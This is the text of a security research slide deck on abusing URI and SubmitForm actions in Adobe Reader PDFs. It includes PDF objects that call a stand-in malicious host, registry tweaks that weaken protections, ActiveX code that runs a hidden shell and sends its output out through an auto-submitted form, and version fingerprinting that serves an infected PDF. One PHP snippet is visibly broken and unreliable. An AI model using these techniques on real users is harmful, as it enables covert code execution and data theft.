Malicious URI resolving in PDFs

Valentin HAMON

Operational cryptology and virology laboratory (C+V)°

valentin.hamon@et.esiea-ouest.fr

http://cvo-lab.blogspot.fr/
Outline

- Introduction
- Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter
- Weaknesses of Adobe’s URL Security Zone Manager
- Attack Scenario 1: an invisible malicious proxy
- Attack Scenario 2: scouting Adobe Reader
- Conclusion
- Questions
Introduction

Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1: an invisible malicious proxy

Attack Scenario 2: scouting Adobe Reader

Conclusion

Questions
Introduction (1/2)

- PDF format:
  - Primarily constituted of objects.
  - These objects can be dynamics:
    - Javascript
    - Forms
    - Digital Media (SWF,...)
    - ...

And we know that

**Dynamic** Objects => Security threats
Introduction (3/3)

Previous works:


Didier Stevens, Hack.lu 2009: *Penetration document format.*
Introduction

Network security in Adobe Reader

- URI Method
- Submit Form Method
- Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1 : an invisible malicious proxy

Attack Scenario 2 : scouting Adobe Reader

Conclusion

Questions
Introduction

Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1: an invisible malicious proxy

Attack Scenario 2: scouting Adobe Reader

Conclusion

Questions
Network security in Adobe Reader

URI Method (1/5)

**RFC 3986** : "a Uniform Resource Identifier (URI) is a compact string of characters for identifying an abstract or physical resource".

A Uniform Resource Locator (URL) is an URI "that identify resources via a representation of their primary access mechanism".

http://www.
Network security in Adobe Reader
URI Method (2/5)

PDF reference 1.7: “a URI action causes a URI to be resolved”.

Lots of protocols are so supported:
- HTTP
- FTP
- MAILTO
- ...

blackhat²
ABU DHABI 2012
Network security in Adobe Reader
URI Method (3/5)

Code:

4 0 obj
<<
/Type
/Action
/S
/URI(http://www.malicioussite.com/upload.php)
>>
endobj
Network security in Adobe Reader
URI Method (4/5)

Weblink Plug-in

IAC : Interapplication Communication Message

Request performed
Network security in Adobe Reader
URI Method (5/5)

GET request performed:

```
GET /www/uploaddd.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
```

Wireshark Capture of the request launched by the URI Action
Introduction

Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1: an invisible malicious proxy

Attack Scenario 2: scouting Adobe Reader

Conclusion

Questions
Network security in Adobe Reader
Submit Form Method (1/8)

PDF reference 1.7:
“a submit-form action transmits the names and values of selected interactive form fields to a specified uniform resource locator (URL)“.
Network security in Adobe Reader Submit Form Method (2/8)

Code:

4 0 obj
<<
  /S
  /SubmitForm
  /F
<<
  /F (http://www.malicioussite.com/upload.php)
  /FS /URL
>>
>>
endobj
Network security in Adobe Reader
Submit Form Method (3/8)
Network security in Adobe Reader
Submit Form Method (4/8)

Different file formats can be used for transmitting form data by PDF:

- HTML Form format
- Forms Data Format (FDF)
- XFDF, FDF version based on XML
- PDF
Network security in Adobe Reader
Submit Form Method (5/8)

POST request performed:

```
POST /www/uploaddd.php HTTP/1.1\r\nAccept: */*\r\nContent-Type: application/vnd.fdf\r\nContent-Length: 99\r\nAcrobat-Version: 10.1.3\r\nUser-Agent: AcroForms\r\n```

Wireshark Capture of the request launched by the Submit Form Action
Network security in Adobe Reader
Submit Form Method (6/8)

The frame contains a FDF File:
Network security in Adobe Reader
Submit Form Method (7/8)

Note about Javascript:
4 0 obj
<<
  /JS(
    var aSubmitFields = new Array( "0" );
    this.submitForm({
      cURL: "http://www.malicioussite.com/upload.php",
      aFields: aSubmitFields,
      cSubmitAs: "FDF"
    });
  );
/S /JavaScript
>>
endobj
Network security in Adobe Reader
Submit Form Method (8/8)

But Javascript should be enable in the user configuration:

HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader \9.0\JSPrefs => set to 0x00000001
Introduction

Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1: an invisible malicious proxy

Attack Scenario 2: scouting Adobe Reader

Conclusion

Questions
Network security in Adobe Reader
Adobe URL filter (1/7)

By default, an alert Box appears:

![Security Warning]

The document is trying to connect to:
http://www.malicioussite.com

Do you trust malicioussite.com? If you trust the site, choose Allow. If you do not trust the site, choose Block.

Remember this action for this site for all PDF documents

Help  Allow  Block  Cancel
Network security in Adobe Reader
Adobe URL filter (2/7)

To allow every websites:

HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\9.0\TrustManager\cDefaultLaunchURLPerms
=> Set value to 0x00000002
Network security in Adobe Reader
Adobe URL filter (3/7)

There is also a filter for file types (ONLY for Submit Form Method):

- HTML, .PDF, .FDF, .PHP, .ASP,.. (Web and Adobe files)
- .EXE, .JS, .VBS,...
Network security in Adobe Reader

Adobe URL filter (4/7)

But there is no filter for URI Method (Web browser’s job):

- ALL (including .exe, .vbs, etc.)
- NONE (It may depend on the web browser)
Network security in Adobe Reader
Adobe URL filter (5/7)

Demo

**Opening a PDF can cause the automatic download of a malicious file**

=> Social engineering
Web browser 1: Mozilla Firefox
Web browser 2: Microsoft Internet Explorer
Web browser 3: Google Chrome
Disadvantages:
- Hard to find a method to automatically launch the downloaded file (ActiveX methods in IE could be used).

Advantages:
- Executables are well known attacks. PDFs attacks are less known.
- It works with every versions of Adobe Reader.
Network security in Adobe Reader
Adobe URL filter (7/7)

Step 1
Force download

Step 2
Launch a small ShellCode by a JS Exploit

Step 3
The ShellCode launch the big executable downloaded
 unanswered questions
Weaknesses of Adobe’s URL Security Zone Manager (1/5)
Weaknesses of Adobe’s URL Security Zone Manager (2/5)

**With URI Method:**

The security configuration of the zone is well applied.
Weaknesses of Adobe’s URL Security Zone Manager (3/5)

With Submit Form Method:

C:\\Users\\CURRENT_USER\\AppData\\Local\\Temp\\AR95F6.htm

The web browser only knows this URI!!!
Weaknesses of Adobe’s URL Security Zone Manager (4/5)

DEMO
Weaknesses of Adobe’s URL Security Zone Manager (5/5)

**The web browser can not know the real URL**

**Now, imagine that a URL is normally blacklisted in a web browser. If we use Submit Form, browser filter cannot be applied on the URL.**
Weaknesses of Adobe’s URL Security Zone Manager (5/5)

With Adobe Reader version > 10:

☑ Protected Mode.

HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader 10.0\Privileged\bProtectedMode
Introduction

Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter

Weaknesses of Adobe’s URL Security Zone Manager

Attack Scenario 1: an invisible malicious proxy

Attack Scenario 2: scouting Adobe Reader

Conclusion

Questions
An invisible malicious proxy

World Wide Web

PDF : /SubmitForm

http://www.X.com/X.html
Malicious web page
HTML/JS

Server

PHP
Data receiving

Response.txt

(%APP DATA%/.../Temp/X.htm)

Victim’s Computer

Cmd.exe \k cmd1 > C:/Temp/Log.txt
(ActiveX)

MyLog.txt

www.google.fr

World Wide Web

1

2

3

4

5
An invisible malicious proxy

World Wide Web

PDF : /SubmitForm

Malicious web page
HTML/JS

2

http://www.X.com/X.html

Server

PHP Data receiving

Response.txt

(%APP DATA%/.../Temp/X.htm)

3

((%APP DATA%/.../Temp/X.htm)

Cmd.exe \k cmd1 > C:/Temp/Log.txt (ActiveX)

4

MyLog.txt

5

www.google.fr

World Wide Web
An invisible malicious proxy (1/10)

Step 1: Opening the PDF launch a HTTP request to the malicious Server

- /OpenAction
- /SubmitForm Action
An invisible malicious proxy (2/10)

Step 2: AcroForms performs the request, the file is downloaded in App Data/…

- C:\Users\CURRENT_USER\AppData\Local\Temp\AR95F6.htm
An invisible malicious proxy (3/10)

Step 3: Malicious actions are done on the victim’s computer

Call a hidden shell:

- Create a new WScriptShell ActiveX Object
  
  ```
  new ActiveXObject('WScript.Shell');
  ```

- Use Run method to launch the shell
  
  ```
  wshShell.Run('cmd.exe /c dir > C:/Temp/Mylog.txt',0,true);
  ```
An invisible malicious proxy (4/10)

Step 3: Malicious actions are done on the victim’s computer

Read the file and store in a JavaScript Variable:

- Create a new `Scripting.FileSystemObject` ActiveX Object
  
  ```javascript
  new ActiveXObject('Scripting.FileSystemObject');
  ```

- Read the file
  
  ```javascript
  var New = Object2.OpenTextFile("C:/Temp/Mylog.txt",1);
  var read = New.ReadAll();
  ```
An invisible malicious proxy (5/10)

Step 3: Malicious actions are done on the victim’s computer

Erase the file on the disk:

- Create a new `Scripting.FileSystemObject` ActiveX Object
  ```javascript
  new ActiveXObject('Scripting.FileSystemObject');
  ```

- Open again the file in « erase » mode
  ```javascript
  var NouvTxt = Object.OpenTextFile("C:/Temp/Mylog.txt",2);
  NouvTxt.Close();
  ```
An invisible malicious proxy (6/10)

Step 3: Malicious actions are done on the victim’s computer

Pro/Cons of this attack (ActiveX):

Advantages:
- The Shell is hidden.
- Results can be sent back to a server.
- Don’t use AJAX (Asynchronous Javascript and XML) requests.

Disadvantages:
- Works only with IE configured as default web browser.
- Registry keys needs to be set to use ActiveX.
An invisible malicious proxy (7/10)

Step 3: Malicious actions are done on the victim’s computer

NOTE:

** This is just an example, but all attacks in web browsers can be used as long as files are accepted by AcroForms.**
An invisible malicious proxy

1. PDF /SubmitForm
Malicious web page
HTML/JS

3. Victim's Computer

(%APP DATA%/.../Temp/X.htm)

4. PHP Data receiving

5. Cmd.exe \k cmd1 > C:/Temp/Log.txt
(ActiveX)

www.google.fr

World Wide Web

Server

Response.txt

World Wide Web
An invisible malicious proxy (8/10)

Step 4: Send back results

Send back results to a web server:

- Create an empty HTML Form
  
  ```html
  <form style="display: none; visibility: hidden" action="http://www.malicioussite.com"
    method="POST" name="form" enctype="multipart/form-data">
    <input type=hidden name="file" value="">
  </form>
  ```

- Put the data to send
  ```javascript
  document.getElementById("file").value = read;
  ```

- Auto-submit the form
  ```javascript
  document.form.submit();
  ```
An invisible malicious proxy (9/10)

Step 5: Server-side reception in PHP

- Process HTTP POST requests received
  ```php
  if (count($_POST) > 0) {
    ...
  }
  ```

- Write results in a file
  ```php
  fopen();
  fputs();
  fclose();
  ```
An invisible malicious proxy (10/10)

Step 5: Server-side reception in PHP

- Auto-redirection to a legitimate website:

```html
<form style="display: none; visibility: hidden" action="http://www.google.com"
method="POST"
name="form"
enctype="multipart/form-data">
</form>

<script>
document.form.submit();
</script>
```
An invisible malicious proxy (Demo)
- Introduction
- Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter
- Weaknesses of Adobe’s URL Security Zone Manager
- Attack Scenario 1: an invisible malicious proxy
- Attack Scenario 2: scouting Adobe Reader
- Conclusion
- Questions
Introduction

Network security in Adobe Reader

Weaknesses of Adobe's URL Security Zone Manager

Acknowledgment Scenario 1: an invisible malicious proxy

Acknowledgment Scenario 2: scanning Adobe Reader

Conclusion

Questions
Scouting Adobe Reader (1/4)

- Request Performed:

```plaintext
POST /www/uploaddd.php HTTP/1.1
Accept: */*
Content-Type: application/vnd.fdf
Content-Length: 99
Acrobat-Version: 10.1.3
User-Agent: AcroForms
```
Scouting Adobe Reader (2/4)

Server-side processing in PHP:

- Read the header
  
  $headers = apache_request_headers();

- Check for Acrobat-Version information in the header
  
  foreach ($headers as $header => $value) {
    if($header == "Acrobat-Version"){
        ...
    }
  }

- For a version number, launch the malicious PDF related
  
  if(preg_match("#9#",$value)){ // if Adobe version == 9.X
      header('Content-type: application/pdf');
      header('Content-Disposition: attachment; filename="infectedsimple.pdf"');
      readfile('infectedsimple.pdf');
  }
Scouting Adobe Reader (3/4)

DEMO
<?php

$_headers = apache_request_headers();

foreach ($headers as $header => $value) {
    echo "$header: $value <br />
    
    if ($header == "Acrobat-Version") {
        echo $value."\n";
    }
    
    if (preg_match('#\#\#', $value)) {
        // Do something
    }
}
In this scenario:
we don’t need javascript
to know the Adobe Version !!!
- Introduction
- Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter
- Weaknesses of Adobe’s URL Security Zone Manager
  - Attack Scenario 1: an invisible malicious proxy
  - Attack Scenario 2: scouting Adobe Reader
- Conclusion
- Questions
Conclusion

- /OpenAction still works.
- Try new methods to anticipate future threats.
- Weak URL Detection.
Future Works

➢ Compare the security of different PDF Readers.

➢ Analyze what is the security of PDFs on Smartphones.

➢ Explore other Operating systems (Linux, Mac OSX).
- Introduction
- Network security in Adobe Reader
  - URI Method
  - Submit Form Method
  - Adobe URL Filter
- Weaknesses of Adobe’s URL Security Zone Manager
- Attack Scenario 1: an invisible malicious proxy
- Attack Scenario 2: scouting Adobe Reader
- Conclusion
- Questions
Thank you for your attention.
Any questions???

Valentin HAMON
valentin.hamon@et.esiea-ouest.fr